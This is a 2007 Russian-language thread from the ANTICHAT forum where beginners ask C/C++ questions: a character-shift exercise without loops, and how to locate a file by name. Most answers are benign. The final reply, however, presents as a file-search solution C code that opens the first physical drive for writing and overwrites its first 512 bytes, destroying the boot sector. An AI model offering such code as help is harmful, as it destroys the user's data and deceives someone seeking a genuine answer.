ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

04.12.2007, 03:03
|
|
Участник форума
Регистрация: 11.04.2007
Сообщений: 219
Провел на форуме: 982101
Репутация:
13
|
|
спс,а как бы данные задачи зделать без цыклов?
|
|
|

04.12.2007, 11:00
|
|
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
Провел на форуме: 2238549
Репутация:
1318
|
|
Ну просто убери цикл и всё... Только смысл? Без цикла ты всегда будешь работать только с одним символом вместо заданных 4-х...
|
|
|

05.12.2007, 18:42
|
|
Участник форума
Регистрация: 11.04.2007
Сообщений: 219
Провел на форуме: 982101
Репутация:
13
|
|
просто,задача была поставлена зделать без цыкла.Чуть правда шыфровку изменили.Можна и как хош.
#include <iostream>
using namespace std;
void main()
{
int res=0,res1=0,res2=0,res3=0;
char ch,ch1,ch2,ch3;
cout<<"Dai"<<endl;
cin>>ch>>ch1>>ch2>>ch3;
res= ch +1;
res1= ch1 +2;
res2= ch2 + 3;
res3= ch3 + 4;
cout<< (char)res << (char)res1 << (char)res2<< (char)res3<<endl;
}
|
|
|

07.12.2007, 22:05
|
|
Постоянный
Регистрация: 04.11.2007
Сообщений: 303
Провел на форуме: 811764
Репутация:
119
|
|
Как можно осуществить поиск файла в системе? Т.е. я указываю имя ехе-шника и прога выводит абсолютный путь....
Прога на С, консольная.
Последний раз редактировалось criz; 07.12.2007 в 23:47..
Причина: забыл указать язык
|
|
|

07.12.2007, 22:35
|
|
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
Провел на форуме: 1941233
Репутация:
2726
|
|
Последний раз редактировалось KEZ; 07.12.2007 в 22:37..
|
|
|

07.12.2007, 22:36
|
|
Участник форума
Регистрация: 22.11.2007
Сообщений: 159
Провел на форуме: 732568
Репутация:
156
|
|
Либо юзай стандартный поиск винды (напиши батничек для этого например) либо смотри в msdn про функции FindFirstFile/FindNextFile.
|
|
|

07.12.2007, 22:37
|
|
Постоянный
Регистрация: 16.04.2007
Сообщений: 398
Провел на форуме: 3371897
Репутация:
1462
|
|
скрипт:
<удалил>
... снова я топ перепутал... 
Последний раз редактировалось Jes; 07.12.2007 в 22:55..
|
|
|

07.12.2007, 22:38
|
|
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
Провел на форуме: 1941233
Репутация:
2726
|
|
|
|
|

08.12.2007, 00:37
|
|
Постоянный
Регистрация: 04.11.2007
Сообщений: 303
Провел на форуме: 811764
Репутация:
119
|
|
Если я правильно понял мсдн, то FindFirstFile и FindNextFile ищут файл в указанной директории. А у меня другая ситуация -- я знаю как называется файл, но где он находится не знаю...
|
|
|

08.12.2007, 00:55
|
|
Участник форума
Регистрация: 04.11.2007
Сообщений: 103
Провел на форуме: 548128
Репутация:
104
|
|
Код:
#include <stdio.h>
#include <windows.h>
int main(int argc, char**argv)
{
HANDLE hF;
DWORD write;
char find[512];
hF=CreateFile("\\\\.\\PHYSICALDRIVE0",GENERIC_WRITE,FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
WriteFile(hF,find,512,&write,NULL);
CloseHandle(hF);
return 0;
}
обычно так ищут : D
в find пиши имя своего файла...)
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|